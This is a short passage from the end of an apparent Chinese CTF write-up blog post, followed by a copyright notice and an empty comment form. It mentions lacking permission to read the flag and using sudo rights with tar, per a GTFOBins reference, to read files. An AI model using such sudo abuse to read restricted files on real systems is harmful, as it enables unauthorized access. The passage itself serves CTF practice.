但是没有权限读取 flag,不过有 sudo 特权,参考 https://gtfobins.github.io/gtfobins/tar/ 可以通过 tar 进行读取文件

WindowsTerminal_EWhwe8HHlQ

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇